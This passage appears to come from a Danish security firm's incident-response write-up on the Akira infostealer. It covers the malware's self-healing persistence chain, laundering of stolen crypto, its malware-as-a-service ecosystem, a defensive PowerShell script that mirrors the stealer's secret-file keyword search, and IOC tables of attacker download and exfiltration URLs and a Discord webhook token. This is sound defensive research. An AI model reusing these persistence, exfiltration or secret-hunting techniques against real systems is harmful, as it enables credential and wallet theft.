Updater.exe)Updater.exeer det grundlæggende fodfæste. Den droppes typisk i en startplacering for Windows-brugeren, for eksempel%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, eller registreres viaHKCU\Software\Microsoft\Windows\CurrentVersion\Run. Dens opgave er simpel, men kritisk: sikre atmain.exeer til stede og starte den lydløst, når brugeren logger på. Manglermain.exe, pakker den arkivetapp-64.7zud igen, fra en temp-mappe eller droppet på ny, og genskaber hele Electron-appstrukturen. - Broloaderen (
main.exe)main.exeer den Electron-indpakkede Node.js-applikation. Den viser ingen brugerflade og arbejder helt i baggrunden. Ved kørsel udfører den den indlejrede JavaScript-logik iapp.asarmed Node.js som runtime-miljø. Abstraktionslaget kobler kernelogikken fra PE-stubben og hjælper med at undgå traditionel analyse. - Eksekveringsorkestratoren (
jscryter.js) Indlejret iapp.asarer dette infektionskædens egentlige styreenhed. Dens hovedfunktioner er:- At tjekke, om
Updater.exeer til stede, og udrulle den igen, hvis den mangler - At injicere konfiguration ved kørsel dynamisk: webhook-URL'er, C2-adresser, tokens
- Enten at kalde den Python-payload, der allerede ligger der (
astor.py), eller hente den som del af et ZIP-bundt, for eksempelpyth.zip, fra angriberstyret infrastruktur
- At tjekke, om
- Eksekvering af payloaden (
astor.py) Så snart den udløses, kørerastor.pyi hukommelsen viapython.exe. Den indsamler systematisk gemte loginoplysninger, cookies, Discord-tokens, browserens sessionsdata og udvidelser til kryptovalutawallets. Dataene stages i et ZIP-arkiv og eksfiltreres via HTTPS, oftest til Discord-webhooks, men fallback-API'er somgofile.ioeller specialbyggede C2-endpoints er også observeret. - Løkkens integritet og selvhelbredelse
Designet er cirkulært. Slettes
Updater.exe, bliver den udrullet igen. Manglermain.exe, pakkerUpdater.exeden ud afapp-64.7zigen. Slettesastor.py, henter JavaScript-laget den igen. Den gensidige afhængighed gør malwaren modstandsdygtig og i stand til at rekonstruere sin eksekveringskæde ud fra så godt som enhver overlevende rest.
Arkitekturen er ikke bare modulær, den er selvopretholdende, bevidst konstrueret til stealth, fleksibilitet og langvarig overlevelse i målmiljøerne.
8.2 Derfor er det bemærkelsesværdigt
Kampagnens arkitektoniske design afspejler et niveau, man normalt ikke ser i masseproducerede infostealere. Det rækker ud over simple loadere i flere trin, dette er malware konstrueret til driftsmæssig robusthed, stealth og automatisering.
Centrale kendetegn
- Fuld autonomi Når først malwaren er udrullet, kræver den ingen brugerinteraktion og ingen ekstern genaktivering. Den opfører sig som en ondsindet mikrotjeneste, der orkestrerer sin egen persistens, eksekvering af payloads og reparationsrutiner uden ekstern styring.
- Eksekveringsstak på flere sprog
Værktøjskæden samler:
- PE-binærfiler (
Updater.exe,main.exe) - Node.js / JavaScript (via Electron)
- PowerShell (bruges til obfuskeret relæ af payloaden)
- Python (
astor.py, kørt som hukommelsesresident stealer) Den lagdelte sammensætning gør det sværere at profilere, fingeraftrykke og analysere med konventionelle statiske værktøjer.
- PE-binærfiler (
- Omgåelse af forsvaret som designprincip
Hver komponent er kodet, krypteret eller dynamisk injiceret:
- Base64-relæ i PowerShell
- AES-krypteret og GZIP-komprimeret Python-kerne
- Obfuskeret JavaScript med injektion af tokens ved kørsel
- Selvhelbredende adfærd, der besværliggør delvis fjernelse
- Intet enkelt fejlpunkt
Malwarens selvreparerende logik sikrer, at det ikke er nok at fjerne en enkelt komponent. Fjernes
Updater.exe, genskaber infostealeren den. Slettesastor.py, hentes og udrulles den igen af JavaScript-styreenheden.
Kort sagt opfører malwaren sig mere som et distribueret system end en typisk payload, et system der prioriterer overlevelse, modularitet og stealth.
Det løfter truslen fra et opportunistisk angreb til en robust, tilpasningsdygtig platform, og det kræver, at forsvarere møder kompleksiteten med lige så lagdelte strategier for detektion og respons.
8.3 Konsekvenser for blue teams
For forsvarere og CSOC-operatører hæver den slags arkitektur barren:
- Delvis oprydning virker ikke. Alle knudepunkter skal identificeres og fjernes samtidig.
- Korrelation i Defender for Endpoint er afgørende. Analytikere skal spore hele kæder: fra
Updater.exe→cmd.exe→powershell.exe→python.exe. - Persistens uden IOC'er betyder, at hukommelsesbaseret heuristik, baselining af telemetri og kædebaseret detektion er nøglen.
Dette er ikke bare en stealer. Det er en robust malwareplatform, der opfører sig mere som et distribueret system end en simpel trussel. Og det er præcis det, der gør den både imponerende og farlig.
9. Blockchain-sporing og analyse
9.1 At spore pengestrømmene i en Litecoin-baseret malwarekampagne
Under reverse engineering-fasen af denne malwarekampagne udtrak vi flere hardkodede wallet-adresser, som stealeren brugte til at eksfiltrere kryptovaluta. Ved at følge on-chain-aktiviteten for disse Litecoin-wallets kunne vi afdække mønstre, der tyder på bevidst hvidvask. Den angriberstyrede wallet LW6EopiZ... fungerer som et centralt samlingspunkt. Midler, der er stjålet fra flere offre, ledes ind på denne adresse, hvorefter de hurtigt fordeles videre til flere nye adresser.
Adfærden her er typisk for det klassiske split-transfer-mønster, der bruges i crypto tumbling eller mixing. I hvert tilfælde deles hele den indgående saldo i to nogenlunde proportionale udgående transaktioner, hver sendt til en anden wallet. Strategien er tænkt til at besværliggøre address clustering og chain tracing ved at sløre midlernes oprindelse. Det er en effektiv taktik til at undgå detektion fra automatiserede platforme til blockchainanalyse og threat intelligence.
Hvidvasken udnytter en kombination af transaktionernes timing, præcis opdeling af beløb og minimeret genbrug af adresser for at omgå de heuristikker, clustering-algoritmer typisk bruger, for eksempel dem i GraphSense, Chainalysis eller TRM Labs. Formålet er at skabe transaktionsstrømme med høj entropi, som forvirrer attribueringen og bryder sammenhængen, især når midlerne til sidst broes over til andre aktiver eller byttes til privatlivsorienterede coins.
I eksemplet nedenfor viser vi en struktureret delmængde af adfærden. De indgående transaktioner er separate overførsler fra offre. Værdierne matcher derefter præcist de udgående strømme, og det viser, hvordan coins "vaskes" gennem hurtige, forudsigelige og algoritmisk opdelte udbetalinger.
| Kilde til input | Dato for input | Beløb ind (LTC) | → Angriberens wallet | Udgående adresser | Samlet ud (LTC) |
|---|---|---|---|---|---|
| Input_1 | 2024-09-21 | 0.25339198 | LLQtaBnSAF... |
- LZmHkgkED... (0.15579078, 2024-09-26)- M8JpDsw5H7... (0.09760120, 2024-09-26)
|
0.25339198 |
| Input_2 | 2024-04-16 | 1.09976044 | LLQtaBnSAF... |
- LgWrCAF8ED... (0.84304664, 2024-06-13)- LgWrCAF8ED... (0.25671380, 2024-06-13)
|
1.09976044 |
| Input_3 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LZL3wQcSRP... (0.38544673, 2024-03-04)- M8kiBpVHG3... (0.38544673, 2024-03-04)
|
0.77089346 |
| Input_4 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LUFLTrqYpix... (0.38544673, 2024-03-04)- La22dfH9eM... (0.38544673, 2024-03-04)
|
0.77089346 |
10. Inde i Akira-økosystemet – kommercialiseret cyberkriminel infrastruktur
Akira er ikke bare en stealer, den er midtpunktet i et blomstrende undergrundsøkosystem, der er bygget til at forenkle, skalere og tjene penge på cyberkriminalitet.
10.1 Et plug-and-play-økosystem for trusselsaktører
Akira-økosystemet er et eksempel på, hvordan cyberkriminalitet har udviklet sig til en professionaliseret, servicedrevet økonomi. Det omfatter:
- Builder-bots til generering af payloads efter behov (for eksempel
@AkiraRedBot) - Telegram-kanaler til opdateringer, ønsker om nye funktioner og kundesupport
- Automatiseret håndtering af licenser og betaling, ofte via direkte beskeder eller anonyme e-handelsplatforme som Sellix
- Medfølgende moduler som clipboard hijackers, Discord token loggers, browser data stealers og endda ransomware-tilføjelser
- Payloads, der kan tilpasses, med konfigurationsflader til at slå funktioner til og fra, indtaste webhooks og give payloaden sit eget ikon

10.2 Kommercialiseringen af cyberkriminalitet
Akiras opbygning afspejler en bredere bevægelse mod "Malware-as-a-Service" (MaaS), hvor:
- Der ikke kræves dybe tekniske færdigheder for at sætte angreb i gang
- Adgangsprisen er lav ($75 for 3 måneder, $150 for livstid)
- Support og dokumentation er der med det samme via Telegram
- Bidrag fra fællesskabet løbende udvider Akira med scripts og forslag til funktioner
Økosystemet spejler legitime SaaS-forretningsmodeller, med changelogs, forbedret brugeroplevelse, prisniveauer og opsalg.

10.3 Ud over stealeren – økosystemets komponenter
astor.py er hjertet i mange angreb, men økosystemet leverer en komplet kæde:
- Obfuskeringsværktøjer som PyInstaller-wrappers
- File binders, der kobler ondsindede payloads sammen med harmløs software
- Compilers, crypters og polymorfi ved kørsel
- Hosting-spejle til levering af payloads og eksfiltrering (for eksempel GoFile og AnonFiles)
- Datahåndteringsbots, der sammenfatter stjålne loginoplysninger og hardwareprofiler

11. Akira Stealer QuickCheck: berørte filer
11.1 Hvad skal det bruges til?
Efter en mistænkt infektion med Akira Stealer er det afgørende med det samme at vide, hvilke filer på systemet der var i risiko for at blive eksfiltreret. QuickCheck-PowerShell-scriptet nedenfor gengiver Akiras præcise søgelogik: det scanner brugerens mapper Desktop, Documents, Downloads og OneDrive for filer, der:
- Indeholder følsomme nøgleord i filnavnet, for eksempel
password,wallet,backupellertoken - Har bestemte filtyper, som ofte er mål (.txt, .docx, .pdf, .jpg osv.)
- Ligger under grænsen på 2 MB, som malwaren arbejder med
QuickCheck giver et hurtigt overblik baseret på Akira Stealers interne logik, men den erstatter ikke fyldestgørende forensiske værktøjer eller professionel incident response. Følg altid op med en dybere analyse, når der er tale om bekræftede sikkerhedsbrud.
Derefter viser den en sorteret tabel med Filename, Relative Path, Size (KB) og det nøgleord, der udløste fundet.
ANSVARSFRASKRIVELSE Værktøjet stilles til rådighed "as is" uden nogen garanti for fuldstændighed eller egnethed til et bestemt formål. Det garanterer ikke, at alle potentielt følsomme filer bliver fundet, og det erstatter heller ikke fuld malware-forensik. Brug det på eget ansvar.
Juridisk information
QuickCheck-værktøjet er udelukkende tænkt til vurderinger inden for defensiv sikkerhed. Enhver uautoriseret scanning eller brug på systemer, du ikke selv ejer, kan være i strid med lovgivning om privatliv, ophavsret eller datamisbrug. glueckkanja AG påtager sig intet ansvar for misbrug eller skader som følge af brugen.
PowerShell-script
<#
.SYNOPSIS
QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.
.DESCRIPTION
Scans Desktop, Documents, Downloads and OneDrive for files that:
• Contain one of the defined keywords in their name
• Have an allowed file extension
• Are not larger than 2 MB
Presents the results in a colored, tabular overview.
.NOTES
© glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>
# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\OneDrive"
)
$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize = 2MB
# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()
foreach ($folder in $scanFolders) {
if (-not (Test-Path $folder)) { continue }
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
# 2.1 Extension filter
if ($extensions -notcontains $_.Extension.ToLower()) { return }
# 2.2 Size filter
if ($_.Length -gt $maxSize) { return }
# 2.3 Keyword filter: explicit loop to avoid null-method calls
$hit = $null
foreach ($kw in $keywords) {
if ($_.Name.ToLower().Contains($kw)) {
$hit = $kw
break
}
}
if (-not $hit) { return }
# 2.4 Build relative path
$rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)
# 2.5 Collect
$matches.Add([PSCustomObject]@{
FileName = $_.Name
Location = $rel
'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
Keyword = $hit
})
}
}
# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan
if ($matches.Count -gt 0) {
$matches |
Sort-Object Location, FileName |
Format-Table -AutoSize `
@{Label='File'; Expression={$_.FileName}},
@{Label='Location'; Expression={$_.Location}},
@{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},
@{Label='Keyword'; Expression={$_.Keyword}}
Write-Host "`n⚠️ Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}
Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray
12. Mere end respons – sådan forvandler glueckkanja CSOC hændelser til indsigt
De fleste security operations centers stopper ved inddæmningen. Det gør vi ikke.
Hos glueckkanja CSOC ser vi ikke incident response som målstregen, men som startpunktet.
Når andre erklærer sejr og går videre, graver vi dybere. For os er hver hændelse en anledning til at lære, tilpasse os og blive stærkere. Vores utrættelige nysgerrighed, drevet af mange års dyb forensisk erfaring og evne til reverse engineering, sikrer, at vi ikke bare forsvarer, vi forudser.
Den tilgang er grunden til, at vi byggede Akira Compromise Reporter.
Dette internt udviklede forensiske værktøj rækker langt ud over almindelig detektion. Det bruger vores indgående kendskab til Akira Stealer til at give fuld klarhed over, hvilke data der er kompromitteret. Inden for få minutter leverer det et præcist og handlingsanvisende øjebliksbillede af hændelsens fulde omfang:
- Præcis hvilke loginoplysninger, tokens og browsersessioner der blev stjålet.
- Nøjagtigt hvilke kryptowallets, beskedkonti og filer der blev eksponeret.
- En klar, struktureret og detaljeret forensisk rapport, der forvandler usikkerhed til hurtig og velinformeret handling.

For hos glueckkanja måler vi ikke kun succes på, hvor mange trusler vi blokerer, men på den klarhed vi skaber. Cybersikkerhed, gjort rigtigt, handler ikke om blot at reagere på hændelser, det handler om at forstå, tilpasse sig og altid være et skridt foran.
Det er forskellen ved glueckkanja CSOC.
13. Indicators of Compromise (IOCs)
Nedenfor følger en omfattende, ordret samling af IOC'er, udtrukket direkte fra malwarekoden under vores interne reverse engineering hos glueckkanja CSOC. Der er ikke brugt antagelser eller eksterne threat intel-kilder, alle indikatorer er bekræftede fund. Alle URL'er er bevidst obfuskerede for at forhindre utilsigtede klik.
Forkortelser:
- TG: Telegram-rapporteringskanal
- Alt: Alternativt endpoint (fallback)
1. Domæner og URL'er
| Kategori | Obfuskeret URL | Beskrivelse |
|---|---|---|
| Primær injektion | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php |
Angriberens indledende webhook-endpoint |
| Injektion via fallback | https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php |
Alternativt injector-endpoint |
| Fejlrapportering (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php |
URL til fejl- og lograpportering via Telegram |
| Fejlrapportering (Alt) | https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php |
Alternativ URL til fejl- og lograpportering |
| Vanity-bot (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php |
Endpoint til notifikation om vanity-adresser |
| Vanity-bot (Alt) | https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php |
Alternativt endpoint til vanity-notifikation |
| Exodus-injektion | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar |
Electron-appmodulen Exodus |
| Atomic-injektion | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar |
Electron-modulen AtomicWallet |
| Download af Updater | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe |
Eksekverbar dropper til persistens |
| Gofile API-liste | https[:]//api.gofile[.]io/servers |
Henter den bedste GoFile-uploadserver |
| Tjek af Discord-token | https[:]//discordapp[.]com/api/v9/users/@me |
Validerer et stjålet Discord-token |
| Discords faktureringsoplysninger | https[:]//discord[.]com/api/users/@me/billing/payment-sources |
Henter betalingsmetoder |
| Replay af Google OAuth | https[:]//accounts[.]google[.]com/oauth/multilogin |
Replayer stjålne Google-sessionstokens |
| IP-tjek (hosting) | http[:]//ip-api[.]com/line/?fields=hosting |
Detektion af hostingmiljø |
| IP-opslag (geo) | http[:]//ip-api[.]com/json/{ip} |
Geolokalisering ud fra IP |
| Hentning af offentlig IP | https[:]//api[.]ipify[.]org |
Henter den eksterne IP-adresse |
| Upload til File.io | https[:]//file[.]io/ |
Sekundær eksfiltreringskanal |
| Upload til Oshi.at | http[:]//oshi[.]at/ |
Tertiær eksfiltreringskanal |
| JS-dropper, primær | https[:]//rentry[.]co/7vzd22fg36hfdd33/raw | Fjernreference til den egentlige ZIP-URL |
| JS-dropper, fallback 1 | https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip | Alternativ ZIP med payload |
| JS-dropper, fallback 2 | https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip | Sekundær fallback-ZIP med payload |
2. Kryptovaluta-adresser
| Valuta | Adresse |
|---|---|
| BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
| ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
| DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
| LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
| XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
| BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
| DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
| TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
| XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
| XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
3. Registry-nøgler og stier
| Registry-sti | Formål |
|---|---|
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc |
Tjekker efter signatur fra en virtuel GPU-driver |
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName |
Tjekker efter udbydernavn på en virtuel GPU |
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (værdien Realtek Audio) |
Persistens via Run-nøglen (Updater.exe) |
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe |
Eksekverbar fil til persistens |
5. Filer og hashes
| Filnavn | SHA256 | Størrelse (bytes) |
|---|---|---|
| app-64.7z | 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 |
63936274 |
| main.exe | C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B |
162036224 |
| jscrypter.js | 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF |
1429 |
| obf.js | 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 |
30138 |
| input.js | E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 |
7155 |
| package.json | 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 |
211 |
| astor.py | 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 |
205210 |
| exodus.asar | 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB |
132486332 |
| pow.bat | 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 |
28454 |
| download.dat | C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B |
21142 |
| pyth.zip | E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 |
32375391 |
| Updater.exe | 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 |
37652937 |
5. Discord- og Telegram-identifikatorer
| Kategori | Værdi |
|---|---|
| Discord Webhook ID | 1226766972675428372 |
| Discord Webhook Token | BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz |
| Telegram ID | 5035121855 |
14. Tilbageblik på Akira Stealer-hændelsen: styrk jeres forsvar med glueckkanja CSOC
Gennem hele dette indlæg har vi gennemgået, hvor avanceret Akira Infostealer er, en fremskreden cybertrussel kendetegnet ved målrettet tyveri af loginoplysninger, lydløs dataeksfiltrering og vedholdende metoder til at omgå traditionelt forsvar. At forstå, hvordan malwaren fungerer, hvilke risici den medfører, og hvilke svagheder den udnytter, er afgørende for at bygge en robust cybersikkerhedsstrategi.
Akira Infostealer går målrettet efter følsomme data som loginoplysninger, browsersessioner, kryptowallets, beskedtjenester og filer, der tilhører personen eller organisationen. Dens kalkulerede og præcise metoder kræver mere end almindelige sikkerhedsforanstaltninger, de kræver løbende overvågning, dybdegående forensisk analyse og proaktiv threat intelligence.
Hos glueckkanja CSOC bruger vi vores dybe tekniske erfaring og avancerede analysekapacitet til at nå videre end almindelig detektion. Vores specialiserede team overvåger trusler i realtid døgnet rundt fra vores dedikerede CSOC-servere, og det gør det muligt at identificere, undersøge grundigt og effektivt neutralisere trusler som Akira Infostealer med det samme.
Men vores arbejde stopper ikke ved incident response. Hver opdaget hændelse beriger vores vidensgrundlag, styrker vores sikkerhedsniveau og sikrer, at vi bliver flere skridt foran fremtidige trusler. Med glueckkanja CSOC får du mere end beskyttelse, du får en tilpasningsdygtig sikkerhedspartner, der er forpligtet på jeres modstandskraft på lang sigt.
Tag det næste skridt i sikringen af jeres organisations digitale aktiver.
Kontakt glueckkanjas cybersikkerhedseksperter i dag, så sikrer vi proaktivt jeres fremtid sammen.
Styrk jeres forsvar med glueckkanja CSOC.
15. Sikkerhedsmæssig og juridisk ansvarsfraskrivelse – brug af ægte malwarekode
Denne publikation indeholder detaljeret teknisk indsigt, heriblandt kodeudsnit og adfærdsanalyser, der stammer fra faktisk skadelig software, som blev fundet under incident response og forensiske undersøgelser. Formålet med at dele oplysningerne er udelukkende oplysende og skal hjælpe professionelle forsvarere med at forstå, opdage og reagere mere effektivt på trusler fra den virkelige verden. Vi udgiver dette i god tro og med ønsket om at bidrage til sikkerhedsfællesskabet bredt set.
Det er vigtigt at bemærke, at dele af den medtagne kode stammer fra trusselsaktørers værktøjskasser og fra malwaresamples, der cirkulerer i naturen. Fragmenterne er ikke vores immaterielle ejendom, og de skal heller ikke betragtes som sikre, rensede eller på anden måde "harmless". Vi fraråder udtrykkeligt at reproducere eller anvende den slags kode i drift. Læsere skal forstå, at materialet tjener et forsknings- og oplysningsformål, men i sig selv har en risikoprofil, der ikke bør undervurderes.
Kun uddannede fagfolk, der arbejder i juridisk godkendte miljøer, for eksempel akkrediterede sikkerhedsteams, SOC-enheder, akademiske forskere eller malwarelaboratorier, bør arbejde med de beskrevne teknikker eller den beskrevne kode. Alle forsøg skal foregå i isolerede systemer uden for produktion og overholde gældende lovgivning, interne retningslinjer og etiske standarder.
Vi yder ingen support eller validering af reproduceret kode eller adfærd. Der er ingen garanti for nøjagtighed, relevans eller fuldstændighed. Derudover afviser vi udtrykkeligt enhver brug af indholdet til offensive formål, uautoriseret red teaming, kommerciel malwareudvikling eller adversarial testing uden for et juridisk defineret omfang. Enhver misbrug kan have retlige konsekvenser. glueckkanja AG fraskriver sig ethvert ansvar for direkte eller indirekte skader, der opstår som følge af brug eller fejltolkning af indholdet.
Ved at læse videre i eller henvise til indholdet bekræfter du ovenstående og accepterer ikke at misbruge, replikere eller anvende nogen del af det i ulovlige eller uetiske sammenhænge. Er du i tvivl, så rådfør dig med jeres juridiske afdeling, compliance-afdeling eller databeskyttelsesansvarlige, før du kaster dig over analyse af levende kode eller lignende teknisk materiale.
Denne publikation stilles til rådighed "as is", uden garanti, support eller ansvar.















